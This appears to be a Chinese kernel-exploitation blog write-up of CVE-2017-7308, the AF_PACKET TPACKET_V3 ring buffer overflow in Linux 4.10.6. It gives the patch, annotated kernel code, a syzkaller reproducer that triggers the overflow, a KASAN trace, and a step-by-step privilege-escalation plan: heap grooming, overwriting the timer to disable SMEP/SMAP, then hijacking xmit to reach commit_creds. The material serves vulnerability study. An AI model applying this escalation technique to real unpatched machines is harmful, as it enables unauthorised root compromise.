【kernel exploit】CVE-2017-7308 AF_PACKET 环形缓冲区溢出漏洞

2021/05/19 Kernel-exploit 共 27999 字,约 80 分钟

【kernel exploit】CVE-2017-7308 AF_PACKET 环形缓冲区溢出漏洞

影响版本:Linux-v4.10.6 由syzkaller发现。实际v4.10.10未修复,v4.10.11已修复。

测试版本:Linux-v4.10.6 测试环境下载地址

编译选项CONFIG_PACKET=y(启用AF_PACKET套接字选项) CONFIG_USER_NS=y(用户命名空间—CAP_NET_RAW权限) CONFIG_SLAB=y

General setup —> Choose SLAB allocator (SLUB (Unqueued Allocator)) —> SLAB

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.10.6.tar.xz
$ tar -xvf linux-4.10.6.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述net/packet/af_packet.c中的packet_set_ring()函数没有正确检查块size,长度判断条件错误,导致堆溢出,需要CAP_NET_RAW 权限。在启用TPACKET_V3版本的环形缓冲区(ring buffer)条件下,我们可以通过为AF_PACKET套接字的PACKET_RX_RING选项提供特定的参数来触发这个漏洞。

补丁patch exp

// net/packet/af_packet.c 	
@@ -4193,8 +4193,8 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
		if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
			goto out;
		if (po->tp_version >= TPACKET_V3 &&
-            (int)(req->tp_block_size -
-			  BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
+		    req->tp_block_size <=
+			  BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv)) // 在将tp_sizeof_priv传递给BLK_PLUS_PRIV之前,将其转化为 uint64 类型值
			goto out;
		if (unlikely(req->tp_frame_size < po->tp_hdrlen +
					po->tp_reserve))
            
// 如果不转化为 uint64 类型值,当tp_sizeof_priv接近于unsigned int的最大值时,在处理BLK_PLUS_PRIV时还是会出现溢出问题。
#define BLK_PLUS_PRIV(sz_of_priv) 
		(BLK_HDR_LEN + ALIGN((sz_of_priv), V3_ALIGNMENT))

保护机制:开启 SMEP / SMAP,未开启KASLR。绕过KASLR的方法还是通过dmesg,并不通用,所以我测试时关闭了KASLR。

利用总结

  • 1.首先进行堆风水,消耗 kmalloc-2048和页面分配器产生的0x8000内存块,分别利用packet_sock结构(512个,每创建1个数据包套接字,内核就会分配一个packet_sock结构)和ring buffer中的内存块(1024个,packet_sock->rx_ring->pg_vec —— 指向存内存块的数组)。
  • 2.需要2次触发溢出漏洞,利用内存块中的私有区域来溢出packet_sock结构。
  • 3.绕过SMEP/SMAP:劫持 packet_sock->rx_ring->prb_bdqc->retire_blk_timer->funcnative_write_cr4() ,参数为retire_blk_timer->data == 0x407f0
  • 4.提权: 覆盖packet_sock->xmit函数指针,它会在发送数据时被调用,在关闭SMEP后返回到用户空间执行commit_creds(prepare_kernel_cred(0))实现提权。

一、背景知识介绍

1-1 Syzkaller简介

调用模板设置:Syzkaller系统调用模板,可参考sys/sys.txt中给出的样例,或者sys/README.md给出的语法信息。以下示例用于检测AF_PACKET套接字的漏洞:

resource sock_packet[sock]					// (1)声明一个新的sock_packet类型。该类型继承自现有的sock类型,对于使用sock类型作为参数的系统调用而言,syzkaller也会在sock_packet类型的套接字上使用这种系统调用。
define ETH_P_ALL_BE htons(ETH_P_ALL)
socket$packet(domain const[AF_PACKET], type flags[packet_socket_type], proto const[ETH_P_ALL_BE]) sock_packet 			// (2)声明一个新的系统调用:socket$packet。“$”符号之前的部分作用是告诉syzkaller应该使用哪种系统调用,而“$”符号之后的部分用来区分同一种系统调用的不同类型。这种方式在处理类似ioctl的系统调用时非常有用。“socket$packet”系统调用会返回一个sock_packet套接字。
packet_socket_type = SOCK_RAW, SOCK_DGRAM
setsockopt$packet_rx_ring(fd sock_packet, level const[SOL_PACKET], optname const[PACKET_RX_RING], optval ptr[in, tpacket_req_u], optlen len[optval])						// (3)声明 setsockopt$packet_rx_ring
setsockopt$packet_tx_ring(fd sock_packet, level const[SOL_PACKET], optname const[PACKET_TX_RING], optval ptr[in, tpacket_req_u], optlen len[optval])						// (4)声明 setsockopt$packet_tx_ring。 (3)(4)会在sock_packet套接字上设置PACKET_RX_RING以及PACKET_TX_RING套接字选项。都使用了tpacket_req_u联合体(union)作为套接字选项的值。tpacket_req_u联合体包含两个结构体成员,分别为tpacket_req以及tpacket_req3。
tpacket_req {
 tp_block_size  int32
 tp_block_nr  int32
 tp_frame_size  int32
 tp_frame_nr  int32
}
tpacket_req3 {
 tp_block_size  int32
 tp_block_nr  int32
 tp_frame_size  int32
 tp_frame_nr  int32
 tp_retire_blk_tov int32
 tp_sizeof_priv int32
 tp_feature_req_word int32
}
tpacket_req_u [
 req  tpacket_req
 req3  tpacket_req3
] [varlen]

管理配置选项:示例如下。

"enable_syscalls": [
  "socket$packet", "socketpair$packet", "accept$packet", "accept4$packet", "bind$packet", "connect$packet", "sendto$packet", "recvfrom$packet", "getsockname$packet", "getpeername$packet", "listen", "setsockopt", "getsockopt", "syz_emit_ethernet"
 ],

使用以上描述信息和配置选项进行fuzz之后,syzkaller触发bug,触发漏洞的系统调用如下:

mmap(&(0x7f0000000000/0xc8f000)=nil, (0xc8f000), 0x3, 0x32, 0xffffffffffffffff, 0x0)
r0 = socket$packet(0x11, 0x3, 0x300)
setsockopt$packet_int(r0, 0x107, 0xa, &(0x7f000061f000)=0x2, 0x4)
setsockopt$packet_rx_ring(r0, 0x107, 0x5, &(0x7f0000c8b000)=@req3={0x10000, 0x3, 0x10000, 0x3, 0x4, 0xfffffffffffffffe, 0x5}, 0x1c)

KASAN报告如下,由于访问点距离数据块边界非常远,因此分配和释放栈没有对应溢出对象。

==================================================================
BUG: KASAN: slab-out-of-bounds in prb_close_block net/packet/af_packet.c:808
Write of size 4 at addr ffff880054b70010 by task syz-executor0/30839
CPU: 0 PID: 30839 Comm: syz-executor0 Not tainted 4.11.0-rc2+ #94
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
Call Trace:
 __dump_stack lib/dump_stack.c:16 [inline]
 dump_stack+0x292/0x398 lib/dump_stack.c:52
 print_address_description+0x73/0x280 mm/kasan/report.c:246
 kasan_report_error mm/kasan/report.c:345 [inline]
 kasan_report.part.3+0x21f/0x310 mm/kasan/report.c:368
 kasan_report mm/kasan/report.c:393 [inline]
 __asan_report_store4_noabort+0x2c/0x30 mm/kasan/report.c:393
 prb_close_block net/packet/af_packet.c:808 [inline]
 prb_retire_current_block+0x6ed/0x820 net/packet/af_packet.c:970
 __packet_lookup_frame_in_block net/packet/af_packet.c:1093 [inline]
 packet_current_rx_frame net/packet/af_packet.c:1122 [inline]
 tpacket_rcv+0x9c1/0x3750 net/packet/af_packet.c:2236
 packet_rcv_fanout+0x527/0x810 net/packet/af_packet.c:1493
 deliver_skb net/core/dev.c:1834 [inline]
 __netif_receive_skb_core+0x1cff/0x3400 net/core/dev.c:4117
 __netif_receive_skb+0x2a/0x170 net/core/dev.c:4244
 netif_receive_skb_internal+0x1d6/0x430 net/core/dev.c:4272
 netif_receive_skb+0xae/0x3b0 net/core/dev.c:4296
 tun_rx_batched.isra.39+0x5e5/0x8c0 drivers/net/tun.c:1155
 tun_get_user+0x100d/0x2e20 drivers/net/tun.c:1327
 tun_chr_write_iter+0xd8/0x190 drivers/net/tun.c:1353
 call_write_iter include/linux/fs.h:1733 [inline]
 new_sync_write fs/read_write.c:497 [inline]
 __vfs_write+0x483/0x760 fs/read_write.c:510
 vfs_write+0x187/0x530 fs/read_write.c:558
 SYSC_write fs/read_write.c:605 [inline]
 SyS_write+0xfb/0x230 fs/read_write.c:597
 entry_SYSCALL_64_fastpath+0x1f/0xc2
RIP: 0033:0x40b031
RSP: 002b:00007faacbc3cb50 EFLAGS: 00000293 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 000000000000002a RCX: 000000000040b031
RDX: 000000000000002a RSI: 0000000020002fd6 RDI: 0000000000000015
RBP: 00000000006e2960 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000708000
R13: 000000000000002a R14: 0000000020002fd6 R15: 0000000000000000
Allocated by task 30534:
 save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59
 save_stack+0x43/0xd0 mm/kasan/kasan.c:513
 set_track mm/kasan/kasan.c:525 [inline]
 kasan_kmalloc+0xad/0xe0 mm/kasan/kasan.c:617
 kasan_slab_alloc+0x12/0x20 mm/kasan/kasan.c:555
 slab_post_alloc_hook mm/slab.h:456 [inline]
 slab_alloc_node mm/slub.c:2720 [inline]
 slab_alloc mm/slub.c:2728 [inline]
 kmem_cache_alloc+0x1af/0x250 mm/slub.c:2733
 getname_flags+0xcb/0x580 fs/namei.c:137
 getname+0x19/0x20 fs/namei.c:208
 do_sys_open+0x2ff/0x720 fs/open.c:1045
 SYSC_open fs/open.c:1069 [inline]
 SyS_open+0x2d/0x40 fs/open.c:1064
 entry_SYSCALL_64_fastpath+0x1f/0xc2
Freed by task 30534:
 save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59
 save_stack+0x43/0xd0 mm/kasan/kasan.c:513
 set_track mm/kasan/kasan.c:525 [inline]
 kasan_slab_free+0x72/0xc0 mm/kasan/kasan.c:590
 slab_free_hook mm/slub.c:1358 [inline]
 slab_free_freelist_hook mm/slub.c:1381 [inline]
 slab_free mm/slub.c:2963 [inline]
 kmem_cache_free+0xb5/0x2d0 mm/slub.c:2985
 putname+0xee/0x130 fs/namei.c:257
 do_sys_open+0x336/0x720 fs/open.c:1060
 SYSC_open fs/open.c:1069 [inline]
 SyS_open+0x2d/0x40 fs/open.c:1064
 entry_SYSCALL_64_fastpath+0x1f/0xc2
Object at ffff880054b70040 belongs to cache names_cache of size 4096
The buggy address belongs to the page:
page:ffffea000152dc00 count:1 mapcount:0 mapping:          (null) index:0x0 compound_mapcount: 0
flags: 0x500000000008100(slab|head)
raw: 0500000000008100 0000000000000000 0000000000000000 0000000100070007
raw: ffffea0001549a20 ffffea0001b3cc20 ffff88003eb44f40 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
 ffff880054b6ff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 ffff880054b6ff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff880054b70000: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb
                         ^
 ffff880054b70080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff880054b70100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

1-2 AF_PACKET套接字简介

AF_PACKET套接字:用户可以使用AF_PACKET在设备驱动层(物理传输层)发送或者接受数据包。这样用户就能在物理层实现自己的协议,也可以嗅探包含以太网和更高层协议头部的数据包。为了创建AF_PACKET套接字,进程必须在用户命名空间中具备CAP_NET_RAW权限,以便管理进程的网络命名空间。如果内核启用了非特权用户命名空间,那么非特权用户就能创建数据包套接字。

环形缓冲区:进程可以使用send和recv这两个系统调用在数据包套接字上发送和接受数据包。然而,数据包套接字提供了一个环形缓冲区(ring buffer)方式使数据包的发送和接受更为高效,这个环形缓冲区可以在内核和用户空间之间共享使用。我们可以使用PACKET_TX_RING以及PACKET_RX_RING套接字选项创建环形缓冲区。之后,用户可以使用内存映射方式(mmap)映射这个缓冲区,这样包数据就能直接读取和写入到这个缓冲区中。 内核在处理环形缓冲区时有几种不同的处理方式,用户可以使用PACKET_VERSION这个套接字选项选择具体使用的方式。

AF_PACKET应用示例:tcpdump工具。使用tcpdump嗅探某个接口上的所有数据包时,处理流程如下所示:

# strace tcpdump -i eth0
... // (1)创建一个套接字:socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
socket(PF_PACKET, SOCK_RAW, 768)        = 3
... // (2)套接字绑定到eth0接口;
bind(3, {sa_family=AF_PACKET, proto=0x03, if2, pkttype=PACKET_HOST, addr(0)={0, }, 20) = 0
... // (3)通过PACKET_VERSION套接字选项,将环形缓冲区版本设置为TPACKET_V2;
setsockopt(3, SOL_PACKET, PACKET_VERSION, [1], 4) = 0
... // (4)使用PACKET_RX_RING套接字选项,创建一个环形缓冲区;
setsockopt(3, SOL_PACKET, PACKET_RX_RING, {block_size=131072, block_nr=31, frame_size=65616, frame_nr=31}, 16) = 0
... // (5)将环形缓冲区映射到用户空间,就可以在用户空间直接读取这些数据包。
mmap(NULL, 4063232, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0x7f73a6817000
... // 在这之后,内核开始将来自于eth0接口的所有数据包存入环形缓冲区中,然后tcpdump会从用户空间中对应的映射区域读取这些数据包。

1-ring buffer

1-3 环形缓冲区——ring buffer

说明:主要以v4.10.6版本的内核为例,只关注TPACKET_V3 版的PACKET_RX_RING选项,忽略PACKET_TX_RING选项。

创建环形缓冲区的用户参数设置——tpacket_req3:环形缓冲区用于存放数据包,每个数据包会存放在一个单独的帧(frame)中,多个帧会被分组形成内存块。在TPACKET_V3环形缓冲区中,帧的大小是不固定的,只要帧能够存放到内存块中,它的大小就可以取任意值。 为了使用PACKET_RX_RING套接字选项创建TPACKET_V3环形缓冲区,用户必须为环形缓冲区提供准确的参数值。这些参数会通过一个指向tpacket_req3结构体的指针传递给setsockopt调用,该结构体的定义如下所示:

struct tpacket_req3 {
	unsigned int	tp_block_size;	/* Minimal size of contiguous block */	// 每个内存块的大小
	unsigned int	tp_block_nr;	/* Number of blocks */					// 内存块的个数
	unsigned int	tp_frame_size;	/* Size of frame */						// 每个帧的大小,TPACKET_V3会忽视这个字段
	unsigned int	tp_frame_nr;	/* Total number of frames */			// 帧的个数,TPACKET_V3会忽视这个字段
	unsigned int	tp_retire_blk_tov; /* timeout in msecs */				// 超时时间(毫秒),超时后即使内存块没有被数据完全填满也会被内核停用(参考下文),以便用户能尽快读取数据
	unsigned int	tp_sizeof_priv; /* offset to private data area */		// 每个内存块中私有区域的大小。用户可以使用这个区域存放与每个内存块有关的任何信息;
	unsigned int	tp_feature_req_word;									// 一组标志(目前实际上只有一个标志),可以用来启动某些附加功能。
};

内存块的头部——tpacket_block_desc:每个内存块都有一个头部与之相关,也即tpacket_block_desc结构,放在内存块的开头部位。通常,内核会将数据包存储在某个内存块中,直到该内存块被填满,之后内核会将block_status字段设置为TP_STATUS_USER。之后用户就可以从内存块中读取所需的数据,读取完毕后,会将block_status设置为TP_STATUS_KERNEL,以便释放内存块,归还给内核使用。

tpacket_block_desc -> tpacket_bd_header_u -> tpacket_hdr_v1

struct tpacket_block_desc {
	__u32 version;
	__u32 offset_to_priv;
	union tpacket_bd_header_u hdr;
};
union tpacket_bd_header_u {
	struct tpacket_hdr_v1 bh1;
};
struct tpacket_hdr_v1 {
	__u32	block_status;			// 标识内存块目前是否正在被内核使用, 能否提供给用户读取
	__u32	num_pkts;
	__u32	offset_to_first_pkt;
	...
};

帧的头部——tpacket3_hdr:每个帧也有一个与之关联的头部,头部结构为tpacket3_hdr,其中tp_next_offset字段指向同一个内存块中的下一个帧。

struct tpacket3_hdr {
	__u32		tp_next_offset;			// 指向同一个内存块中的下一个帧
	__u32		tp_sec;
	__u32		tp_nsec;
	__u32		tp_snaplen;
	__u32		tp_len;
	__u32		tp_status;
	__u16		tp_mac;
	__u16		tp_net;
	/* pkt_hdr variants */
	union {
		struct tpacket_hdr_variant1 hv1;
	};
	__u8		tp_padding[8];
};

内核vs用户内存共享:当某个内存块完全被数据填满时(即新的数据包不会填充到剩余的空间中),内存块就会被关闭然后释放到用户空间中(也就是说被内核停用)。由于通常情况下,用户希望尽可能快地看到数据包,因此内核有可能会提前释放某个内存块,即使该内存块还没有被数据完全填满。内核会维护一个计时器,使用tp_retire_blk_tov参数控制超时时间,当超时发生时就会停用当前的内存块。

还有一种方式,那就是指定每个块的私有区域,内核不会触碰这个私有区域,用户可以使用该区域存储与内存块有关的任何信息。这个区域的大小通过tp_sizeof_priv参数进行传递。

内存块&帧的关系:内存块中有多个帧,帧用于存放数据包。

2-memory block

1-4 AF_PACKET套接字的实现

(1)结构体定义

packet_sock 结构体:每创建一个数据包套接字,内核就会分配与之对应的一个packet_sock结构体对象。

函数指针packet_sock (rx_ring) -> packet_ring_buffer (prb_bdqc) -> tpacket_kbdq_core (retire_blk_timer) -> timer_list (含函数指针*function)

内存块&帧packet_sock (rx_ring) -> packet_ring_buffer (pg_vec) -> pgv (*buffer 指向存内存块的数组) -> tpacket_block_desc (内存块的头部) -> tpacket3_hdr (帧的头部)

struct packet_sock {
	/* struct sock has to be the first member of packet_sock */
	struct sock		sk;
	struct packet_fanout	*fanout;
	union  tpacket_stats_u	stats;
	struct packet_ring_buffer	rx_ring;			// 接收receive的环形缓冲区,通过setsockopt(..., PACKET_RX_RING, ...)创建。 // !!!如下
	struct packet_ring_buffer	tx_ring;			// 传输transmit的环形缓冲区,通过setsockopt(..., PACKET_TX_RING, ...)创建。
	...
	enum tpacket_versions	tp_version;				// 环形缓冲区的版本,可通过 setsockopt(..., PACKET_VERSION, ...)设置版本。
	...
	int			(*xmit)(struct sk_buff *skb);
	struct packet_type	prot_hook ____cacheline_aligned_in_smp;
};

// packet_ring_buffer —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/internal.h#L56
struct packet_ring_buffer {
	struct pgv		*pg_vec;						// 指向pgv结构体数组的一个指针,数组中的每个元素都保存了对某个内存块的引用。每个内存块实际上都是单独分配的,没有位于一个连续的内存区域中
	...
	struct tpacket_kbdq_core	prb_bdqc;			// 0x30 tpacket_kbdq_core结构体描述了环形缓冲区的当前状态。 // !!!如下
};
struct pgv {
	char *buffer;
};

// tpacket_kbdq_core —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/internal.h#L14
struct tpacket_kbdq_core {
	...
	unsigned short	blk_sizeof_priv;				// 包含每个内存块所属的私有区域的大小。 由用户参数 tpacket_req3->tp_sizeof_priv 传过来, unsigned int -> unsigned short
	...
	char		*nxt_offset;						// 指向当前活跃的内存块的内部区域,表明下一个数据包的存放位置。
	...
	struct timer_list retire_blk_timer;				// timer_list结构体,用来描述超时发生后停用当前内存块的那个计时器
};

// timer_list —— https://elixir.bootlin.com/linux/v4.10.6/source/include/linux/timer.h#L12
struct timer_list {
	struct hlist_node	entry;
	unsigned long		expires;
	void			(*function)(unsigned long);
	unsigned long		data;
	u32			flags;
};

3-pg_vec

(2)设置环形缓冲区

内核使用packet_setsockopt()函数处理数据包套接字的选项设置操作。当使用PACKET_VERSION套接字选项时,内核就会将po->tp_version参数的值设置为对应的值。接下来,使用PACKET_RX_RING套接字选项,创建一个用于数据包接收的环形缓冲区(内核实际调用packet_set_ring()函数完成该过程),详细过程如下: packet_set_ring() -> init_prb_bdqc() -> prb_open_block()

static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
		int closing, int tx_ring)
{
    ...
	// (1)首先,packet_set_ring() 函数会对给定的环形缓冲区参数执行一系列完整性检查操作
		err = -EINVAL;
		if (unlikely((int)req->tp_block_size <= 0))
			goto out;
		if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
			goto out;
		if (po->tp_version >= TPACKET_V3 &&
		    (int)(req->tp_block_size -
			  BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)			// 漏洞点!!!!!!!!!!!!!!!     该检查可绕过
			goto out;
		if (unlikely(req->tp_frame_size < po->tp_hdrlen +
					po->tp_reserve))
			goto out;
		if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))
			goto out;

		rb->frames_per_block = req->tp_block_size / req->tp_frame_size;
		if (unlikely(rb->frames_per_block == 0))
			goto out;
		if (unlikely((rb->frames_per_block * req->tp_block_nr) !=
					req->tp_frame_nr))
			goto out;
    // (2)分配环形缓冲区的内存块空间。alloc_pg_vec() -> alloc_one_pg_vec_page() 使用内核页分配器来分配内存块(漏洞利用中用到了)
    	err = -ENOMEM;
		order = get_order(req->tp_block_size);
		pg_vec = alloc_pg_vec(req, order);
		if (unlikely(!pg_vec))
			goto out;
    // (3)调用init_prb_bdqc()函数,创建一个接收数据包的TPACKET_V3环形缓冲区。
    	switch (po->tp_version) {
		case TPACKET_V3:
		/* Transmit path is not supported. We checked
		 * it above but just being paranoid
		 */
			if (!tx_ring)
				init_prb_bdqc(po, rb, pg_vec, req_u);				// !!!!!!!!!!!!!!!  <--------------------
			break;
		default:
			break;
		}
 
// init_prb_bdqc() —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/af_packet.c#L603
// 将环形缓冲区参数拷贝到环形缓冲区结构体中的prb_bdqc字段,在这些参数的基础上计算其他一些参数值,设置停用内存块的计时器,然后调用prb_open_block()函数初始化第一个内存块。
static void init_prb_bdqc(struct packet_sock *po,
			struct packet_ring_buffer *rb,
			struct pgv *pg_vec,
			union tpacket_req_u *req_u)
{
	struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);	// 将环形缓冲区参数拷贝到环形缓冲区结构体中的prb_bdqc字段
	struct tpacket_block_desc *pbd;

	memset(p1, 0x0, sizeof(*p1));

	p1->knxt_seq_num = 1;
	p1->pkbdq = pg_vec;
	pbd = (struct tpacket_block_desc *)pg_vec[0].buffer;		// pbd指向第1个内存块
	p1->pkblk_start	= pg_vec[0].buffer;
	p1->kblk_size = req_u->req3.tp_block_size;
	p1->knum_blocks	= req_u->req3.tp_block_nr;
	p1->hdrlen = po->tp_hdrlen;
	p1->version = po->tp_version;
	p1->last_kactive_blk_num = 0;
	po->stats.stats3.tp_freeze_q_cnt = 0;
	if (req_u->req3.tp_retire_blk_tov)						// 设置停用内存块的计时器
		p1->retire_blk_tov = req_u->req3.tp_retire_blk_tov;
	else
		p1->retire_blk_tov = prb_calc_retire_blk_tmo(po,
						req_u->req3.tp_block_size);
	p1->tov_in_jiffies = msecs_to_jiffies(p1->retire_blk_tov);
	p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;			// 赋值 blk_sizeof_priv

	p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
	prb_init_ft_ops(p1, req_u);
	prb_setup_retire_blk_timer(po);
	prb_open_block(p1, pbd);								// 调用prb_open_block()函数初始化第一个内存块   !!!!!!! <----------
}

// prb_open_block —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/af_packet.c#L840
// 设置 tpacket_kbdq_core 结构体中的 nxt_offset 字段,将其指向紧挨着每个内存块私有区域的那个地址。
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
	struct tpacket_block_desc *pbd1)
{
	...
	pkc1->pkblk_start = (char *)pbd1;
	pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv); 	// pkc1->nxt_offset 指向私有区域之后的内存块
	...
}
(3)数据包接收——真正的溢出点

内核调用tpacket_rcv()函数来接收包,每当内核收到一个新的数据包时,内核应该会把它保存到环形缓冲区中。关键函数是__packet_lookup_frame_in_block(),用于计算当前环形缓冲区中可接收数据的起始地址,这个函数的主要工作为:

  • 1.检查当前活跃的内存块是否有充足的空间存放数据包;

  • 2.如果空间足够,保存数据包到当前的内存块,然后返回;

  • 3.如果空间不够,就调度下一个内存块,将数据包保存到下一个内存块。

计算数据填充地址tpacket_rcv() -> packet_current_rx_frame() -> __packet_lookup_frame_in_block()

  • __packet_lookup_frame_in_block()会返回当前缓冲区中可接收数据的起始地址,由于curr+TOTAL_PKT_LEN_INCL_ALIGN(len) > end,之后就会从第二个块中找空余的空间(这也是上面创建两个块的原因)。
  • blk_sizeof_priv = 0x8000 - BLK_HDR_LEN - macoff + 2048 + TIMER_OFFSET - 8会在计算p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv)时使p1->max_frame_len为一个很大的值以此来绕过后面的一些检测。
  • h.raw = pg_vec[1].buffer + blk_sizeof_priv + BLK_HDR_LEN = pg_vec[1].buffer - macoff + 2048 + TIMER_OFFSET - 8,调用skb_copy_bits(skb, 0, h.raw + macoff, snaplen)把数据复制到缓存区时的起始地址为pg_vec[1].buffer + 2048 + TIMER_OFFSET - 8,跳过后面紧跟的一个packet_sock,这样最终的复制起始地址为后面紧跟的第二个packet_sock + TIMER_OFFSET - 6(由于对齐导致是-6,为了把一些值置为0)
static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
               struct packet_type *pt, struct net_device *orig_dev)
{
    ...
    h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff+snaplen)); 	// (1)计算传入的 tp_sizeof_priv, 以控制伪造写入的地址 !!!!
    ...
    skb_copy_bits(skb, 0, h.raw + macoff, snaplen);					// (2)拷贝时产生溢出 !!!!!!!!!!!!!!
    ...
}
static void *packet_current_rx_frame(struct packet_sock *po,						// (1-2)
                        struct sk_buff *skb,
                        int status, unsigned int len)
{
    char *curr = NULL;
    switch (po->tp_version) {
    ...
    case TPACKET_V3:
        return __packet_lookup_frame_in_block(po, skb, status, len);
    ...
    }
}
// __packet_lookup_frame_in_block —— 返回当前缓冲区中可接收数据的起始地址					// (1-3)
static void *__packet_lookup_frame_in_block(struct packet_sock *po,
                        struct sk_buff *skb,
                        int status,
                        unsigned int len
                        )
{
    struct tpacket_kbdq_core *pkc;
    struct tpacket_block_desc *pbd;
    char *curr, *end;
    pkc = GET_PBDQC_FROM_RB(&po->rx_ring);
    pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
    ...
    curr = pkc->nxt_offset;
    pkc->skb = skb;
    end = (char *)pbd + pkc->kblk_size;
    /* first try the current block */
    if (curr+TOTAL_PKT_LEN_INCL_ALIGN(len) < end) { 								// (1-4)不满足本条件,所以会从第2个块中找空余的空间。
        prb_fill_curr_block(curr, pkc, pbd, len);
        return (void *)curr;
    }
    /* Ok, close the current block */
    prb_retire_current_block(pkc, po, 0);
    /* Now, try to dispatch the next block */
    curr = (char *)prb_dispatch_next_block(pkc, po); // 返回第2个块
    if (curr) {
        pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
        prb_fill_curr_block(curr, pkc, pbd, len);
        return (void *)curr;
    }
    ...
}
static void *prb_dispatch_next_block(struct tpacket_kbdq_core *pkc,
        struct packet_sock *po)
{
    ...
    prb_open_block(pkc, pbd);
    return (void *)pkc->nxt_offset;
}

填充数据tpacket_rcv() -> skb_copy_bits()。 找到数据memcpy的位置,查看是否覆盖上了伪造的数据。

int skb_copy_bits(const struct sk_buff *skb, int offset, void *to, int len)
{
    	int start = skb_headlen(skb);
	struct sk_buff *frag_iter;
	int i, copy;

	if (offset > (int)skb->len - len)
		goto fault;

	/* Copy header. */
	if ((copy = start - offset) > 0) {
		if (copy > len)
			copy = len;
		skb_copy_from_linear_data_offset(skb, offset, to, copy); // (2-1) memcpy(to, skb->data + offset, len);  开始拷贝用户传入的数据,在这里下断点,查看是否覆盖了伪造的数据
		if ((len -= copy) == 0)
			return 0;
		offset += copy;
		to     += copy;
	}
    ...
    if ((copy = end - offset) > 0) {
			u8 *vaddr;

			if (copy > len)
				copy = len;

			vaddr = kmap_atomic(skb_frag_page(f));
			memcpy(to,
			       vaddr + f->page_offset + offset - start,
			       copy);

// 查看溢出覆盖 retire_blk_timer 前后的变化,是否成功覆盖 retire_blk_timer.func
/exp $ cat /tmp/kallsyms | grep skb_copy_bits
ffffffff81796550 T skb_copy_bits
pwndbg> x /100i 0xffffffff81796550
   0xffffffff817965ae <skb_copy_bits+94>:	call   0xffffffff814204c0 <memcpy>			// 下断点,dest地址即位于 packet_sock中
   0xffffffff817965b3 <skb_copy_bits+99>:	sub    ebx,r13d

$ b *0xffffffff817965ae
  0xffffffff817965ae <skb_copy_bits+94>     call   memcpy <0xffffffff814204c0>
        dest: 0xffff88001a608b82 ◂— 0													// 0xffff88001a608800 即为 packet_sock 地址
        src: 0xffff88001cff7610 ◂— 0
        n: 0x4e
$ ni
$ p (((*(struct packet_sock*)0xffff88001a608800)->rx_ring)->prb_bdqc)->retire_blk_timer
pwndbg> p (((*(struct packet_sock*)0xffff88001a608800)->rx_ring)->prb_bdqc)->retire_blk_timer
$2 = {
  entry = {
    next = 0x0 <irq_stack_union>, 
    pprev = 0x0 <irq_stack_union>
  }, 
  expires = 0, 
  function = 0xffffffff81066600 <native_write_cr4>, 									// 正确覆盖了 retire_blk_timer.func
  data = 264176, 
  flags = 1, 
  start_pid = 0, 
  start_site = 0x0 <irq_stack_union>, 
  start_comm = '\000' <repeats 15 times>
}
pwndbg> b *0xffffffff81066600
Breakpoint 2 at 0xffffffff81066600: file ./arch/x86/include/asm/special_insns.h, line 75.

二、漏洞分析

// https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/af_packet.c#L4179
// 该检查可绕过
		if (po->tp_version >= TPACKET_V3 &&
		    (int)(req->tp_block_size -
			  BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
			goto out;

漏洞:这个检查的目的是确保内存块头部加上每个内存块私有数据的大小不超过内存块自身的大小。保证内存块中有足够的空间,来存放数据包。但是,如果我们设置了req_u->req3.tp_sizeof_priv的高位字节,那么将这个赋值表达式转换为整数(int)则会导致一个非常大的正整数值(而不是负值)。如下所示:

A = req->tp_block_size = 4096 = 0x1000
B = req_u->req3.tp_sizeof_priv = (1 << 31) + 4096 = 0x80001000
BLK_PLUS_PRIV(B) = (1 << 31) + 4096 + 48 = 0x80001030
A - BLK_PLUS_PRIV(B) = 0x1000 - 0x80001030 = 0x7fffffd0
